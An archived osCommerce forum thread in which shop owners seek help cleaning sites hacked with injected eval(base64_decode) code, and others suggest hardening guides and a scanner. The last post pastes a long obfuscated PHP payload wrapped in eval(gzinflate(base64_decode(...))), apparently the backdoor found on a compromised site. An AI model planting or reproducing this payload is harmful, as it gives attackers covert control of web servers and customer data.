Jump to content

Archived

This topic is now archived and is closed to further replies.

FIMBLE

eval(base64_decode Hack

Recommended Posts

Hey Chris,

 

I have removed file manager, but I guess they must have slipped in before hand. I just started the site 3-4 days ago, so they have been quick! I noticed it because there was a thumbs.php file outside of my main files when I looked on FTP, so I removed it and checked other files, but it hasn't looked like it has spread into all my file like I have had happen before. I will check those other files though. Thanks.

 

I checked the login and application files, but there is no mention of hack code in those files? Should I be lookig for somethign specific?

Share this post


Link to post
Share on other sites

Hi I was hacked on both of my sites. when cleaning them up they both sent this message while file erasing was going on...

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /home/beachbab/public_html/catalog/index.php:2) in /home/beachbab/public_html/catalog/includes/functions/sessions.php on line 103

 

now my one site is clean and the message is gone, my other one i even dumped all the files and reloaded twice, comparing my last good save, but cannot find an extra file that could be causing this warning any other suggestions?

Share this post


Link to post
Share on other sites

Nick,

 

Read this thread and apply the necessary changes to secure your admin:

 

http://forums.oscommerce.com/index.php?showtopic=340995

 

 

Then ready this one to secure the site:

 

http://forums.oscommerce.com/topic/313323-how-to-secure-your-site/

 

 

 

Chris


:|: Was this post helpful ? Click the LIKE THIS button :|:

 

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Share this post


Link to post
Share on other sites

I checked the login and application files, but there is no mention of hack code in those files? Should I be lookig for somethign specific?

 

Try to scan your site with this contribution..


---------------

regards

sijo

---------------

 

Contrib: JMrating10 - Rate your products / osCommerce VTS - Virus & Threat Scanner

 

(osCommerce VTS now also checks for leading and trailing whitespace and also have a grep function)

Share this post


Link to post
Share on other sites

headers already sent by (output started at /home/beachbab/public_html/catalog/index.php:2)

 

 

looks typical of the standard whitespace issue in the file given wink.gif


Sam

 

Remember, What you think I ment may not be what I thought I ment when I said it.

 

Contributions:

 

Auto Backup your Database, Easy way

 

Multi Images with Fancy Pop-ups, Easy way

 

Products in columns with multi buy etc etc

 

Disable any Category or Product, Easy way

 

Secure & Improve your account pages et al.

Share this post


Link to post
Share on other sites

Hi Sam- can you please explain white space, I googled it but it kept talking about text spacing...I took the extra top line where the bad text was in index, then it switched to local/confingure...took 2 line spaces out of it then it went to compatability for the output issue, it is exact to the original osc compatabilityso dont know what to fix now...

 

Allison

Share this post


Link to post
Share on other sites

Hi all, just checked my site and that code is on a couple of pages. Did the decode and found the bug hidden in espanol language style.css file with a whole lot of files in that directory.

 

Im just wondering if the actual mysql database would have been compromised, if not then would it be safe to at least back that up to salvage my customers and their orders etc? The rest of the site i can reinstall without a problem, but the database has me worried somewhat.

 

Any help would be greatly appreciated.

 

Cheers!

Share this post


Link to post
Share on other sites

Hi all, just checked my site and that code is on a couple of pages. Did the decode and found the bug hidden in espanol language style.css file with a whole lot of files in that directory.

 

Im just wondering if the actual mysql database would have been compromised, if not then would it be safe to at least back that up to salvage my customers and their orders etc? The rest of the site i can reinstall without a problem, but the database has me worried somewhat.

 

Any help would be greatly appreciated.

 

Cheers!

 

 

Hackers very rarely touch the dBase, they just access it for the data, so after restore advise your customers to change thier passwords, and keep an eye on any credit cards they have used on your site.


Sam

 

Remember, What you think I ment may not be what I thought I ment when I said it.

 

Contributions:

 

Auto Backup your Database, Easy way

 

Multi Images with Fancy Pop-ups, Easy way

 

Products in columns with multi buy etc etc

 

Disable any Category or Product, Easy way

 

Secure & Improve your account pages et al.

Share this post


Link to post
Share on other sites

Thank you for your help Sam, very much appreciated, luckily no credit cards just paypal, at least this way my customer/order info can be salvaged and new shop installed.

 

Cheers!

Share this post


Link to post
Share on other sites

hepl me decode , thank all

<? eval(gzinflate(base64_decode('
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